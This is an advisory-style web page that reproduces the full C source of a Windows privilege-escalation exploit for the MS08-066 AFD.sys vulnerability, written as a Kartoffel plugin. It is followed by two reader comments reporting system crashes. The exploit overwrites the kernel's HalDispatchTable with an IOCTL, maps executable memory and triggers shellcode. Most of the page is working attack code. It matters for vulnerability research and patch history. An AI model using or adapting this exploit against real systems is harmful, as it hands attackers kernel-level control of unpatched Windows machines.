|
|
|
|
| |
| Kartoffel is a extensible command-line tool developed with the aim of helping developers to test the security and the reliability of a driver. The following exploit code will use Kartoffel to exploit the vulnerability found in Microsoft's Windows operating system's AFD.sys driver. |
| |
Credit:
The information has been provided by Ruben Santamarta.
The original article can be found at: http://www.milw0rm.com/exploits/6757
|
| |
Exploit:
///////////////////////////////////////////////////////
///////////////////////////////////////////////////////
////
//// Microsoft Windows AFD.sys MS08-066
//// Privilege Escalation Exploit XP & 2003
//// ---------------------------------------------
//// This code can only be used for personal study
//// and research purposes on odd days.
//// ---------------------------------------------
//// Copy afd_plugin.dll to '{kartoffel}\plugins'
//// > kartoffel.exe -D afd_plugin
//// ---------------------------------------------
//// Ruben Santamarta
//// www.reversemode.com
//// kartoffel.reversemode.com
////
#include <stdio.h>
#include <Winsock2.h>
#include <ntsecapi.h>
#include "kartolib.h"
#pragma comment(lib,"kartolib.lib")
#pragma comment (lib, "ws2_32.lib")
#define AFD_GET_REMOTE_ADDRESS 0x1203f
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,
PULONG Interval );
typedef NTSTATUS (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
typedef struct _THREAD_PARAMS
{
HANDLE hInitEvent;
HANDLE hReadyEvent;
} THREAD_PARAMS, *PTHREAD_PARAMS;
int Callback_Overview()
{
printf("\n");
printf("================================================= \n");
printf(" Microsoft Windows AFD.sys (MS08-066) \n");
printf(" Privilege Escalation Exploit \n");
printf(" XP && 2003\n");
printf("================================================= \n");
printf(" Ruben Santamarta\n\n");
printf("+ References:\n");
printf(" www.microsoft.com/technet/security/bulletin/ms08-oct.mspx\n");
printf(" www.reversemode.com\n\n");
return 1;
}
VOID WINAPI FooServer(LPVOID pParam)
{
PTHREAD_PARAMS lParams = (PTHREAD_PARAMS)pParam;
SOCKET tcp_socket;
SOCKET local_client;
sockaddr_in localonly;
sockaddr_in remote;
int remoteLen = sizeof(remote);
localonly.sin_family=AF_INET;
localonly.sin_addr.s_addr = inet_addr("127.0.0.1");
localonly.sin_port=htons(0xBACA);
tcp_socket= socket( AF_INET,SOCK_STREAM, 0 );
if( tcp_socket == INVALID_SOCKET)
{
printf("[!!] Create Socket failed...\n");
exit(0);
}
if( bind(tcp_socket,(sockaddr*)&localonly,sizeof(localonly)) !=0 )
{
printf("[!!] Bind Socket failed...\n");
exit(0);
}
printf("[+] Local server ready\n");
SetEvent(lParams->hInitEvent);
listen(tcp_socket,2);
local_client = accept(tcp_socket,(struct sockaddr*)&remote,&remoteLen);
printf("\n\t-> Incoming connection: %s\n\n",inet_ntoa(remote.sin_addr));
WaitForSingleObject( lParams->hReadyEvent, -1 );
closesocket(local_client);
closesocket(tcp_socket);
return;
}
////////////////////////////////
/// Shellcode
////////////////////////////////
/// Feel free to modify
///-----------------------------
/// [nops]
/// int3
/// [nops]
/// retn 0x10
/// [nops]
unsigned char payload[]="\x90\x90\xcc\x90\x90\xc2\x10\x00\x90\x90";
int Callback_Direct( char *lpInitStr )
{
PNTQUERYINTERVAL NtQueryIntervalProfile;
KPROFILE_SOURCE stProfile = ProfileTotalIssues;
PNTALLOCATE NtAllocateVirtualMemory;
WSADATA ws;
SOCKET tcp_socket;
struct sockaddr_in peer;
char inBuff[0x40];
char outBuff[0x40];
char szNtos[MAX_PATH] = {0};
DWORD junk ,i;
DWORD dwShellSize = 0x1000;
ULONG_PTR HalDispatchTable;
ULONG_PTR BaseNt = 0;
ULONG_PTR result;
LPVOID addr = (LPVOID)0x01000000;
HMODULE hKernel;
THREAD_PARAMS lParams = {0};
WSAStartup(0x0202,&ws);
system("cls");
Callback_Overview();
///////////////// Dynamic Stuff
if( GetDriverInfoByName("krnl",szNtos,&BaseNt) )
{
printf("[+] %s loaded at \t [ 0x%p ]\n",szNtos,BaseNt);
} else {
printf("[!!] Kernel not found :?\n");
return FALSE;
}
if( strstr(szNtos,"krnlpa") )
{
hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1);
} else {
hKernel = LoadLibraryExA("ntoskrnl.exe",0,1);
}
HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel,
"HalDispatchTable");
if( !HalDispatchTable )
{
printf("[!!] HalDispatchTable not found\n");
return FALSE;
}
HalDispatchTable -= ( ULONG_PTR )hKernel;
HalDispatchTable += BaseNt;
printf("[+] HalDispatchTable found \t\t\t [ 0x%p ]\n",HalDispatchTable);
printf("[+] NtQueryIntervalProfile ");
NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtQueryIntervalProfile");
if( !NtQueryIntervalProfile )
{
printf("[!!] Unable to resolve NtQueryIntervalProfile\n");
return FALSE;
}
printf( "\t\t\t [ 0x%p ]\n",NtQueryIntervalProfile );
printf("[+] NtAllocateVirtualMemory");
NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle( "ntdll.dll"),
"NtAllocateVirtualMemory");
if( !NtAllocateVirtualMemory )
{
printf("[!!] Unable to resolve NtAllocateVirtualMemory\n");
return FALSE;
}
printf( "\t\t\t [ 0x%p ]\n",NtAllocateVirtualMemory );
printf("\n[+] Allocating memory at [ 0x%p ]...\n",addr);
NtAllocateVirtualMemory( INVALID_HANDLE_VALUE,
&addr,
0,
&dwShellSize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if( (ULONG_PTR)addr != 0x01000000 )
{
printf("\n[!!] Error allocating memory\n");
return 0;
}
memset(addr, 0x90, dwShellSize);
memcpy( (void*)((BYTE*)addr + 0x100),(void*)payload, sizeof(payload));
///// End
lParams.hInitEvent = CreateEvent(0, FALSE, FALSE, 0);
lParams.hReadyEvent = CreateEvent(0, FALSE, FALSE, 0);
memset(inBuff,0x90,sizeof(inBuff));
memset(outBuff,0x90,sizeof(outBuff));
CreateThread( NULL,
0,
(LPTHREAD_START_ROUTINE)FooServer,
(LPVOID)&lParams,
0,
NULL);
peer.sin_family = AF_INET;
peer.sin_port = htons( 0xBACA );
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); //
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
WaitForSingleObject(lParams.hInitEvent, -1);
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
{
printf("\n[!!] You should not see this! \n\n");
exit(0);
}
printf("[+] Sending IOCTL...\n");
DeviceIoControl((HANDLE)tcp_socket,
AFD_GET_REMOTE_ADDRESS,
(LPVOID)inBuff,sizeof(inBuff),
(LPVOID)outBuff,0,
&junk,
NULL);
printf("\n");
printf("[+] Received Bytes from Peer Address:\n\t-> ");
for( i = 0; i < sizeof( peer ) ; i++)
{
printf(" %02X ",(unsigned char)outBuff[i]);
}
printf("\n\n");
printf("[+] Overwriting HalDispatchTable with those bytes...");
DeviceIoControl((HANDLE)tcp_socket,
AFD_GET_REMOTE_ADDRESS,
(LPVOID)inBuff,sizeof(inBuff),
(LPVOID)HalDispatchTable,0,
&junk,
NULL);
printf("\n\n");
printf("[+] Executing shellcode...");
NtQueryIntervalProfile(stProfile,&result);
printf("[ OK ]\n");
SetEvent(lParams.hReadyEvent);
printf("[+] Done...\n\n");
return TRUE;
}
|
| Subject:
|
BSOD |
Date: |
15 Nov. 2008 |
| From: |
joseph |
i get a BSOD :(
Win xp sp2 pt-br |
|
| Subject:
|
crash |
Date: |
19 Nov. 2008 |
| From: |
frog |
| same with a xp sp2 french ;) crash and reboot. |
|
|
|
|
|
|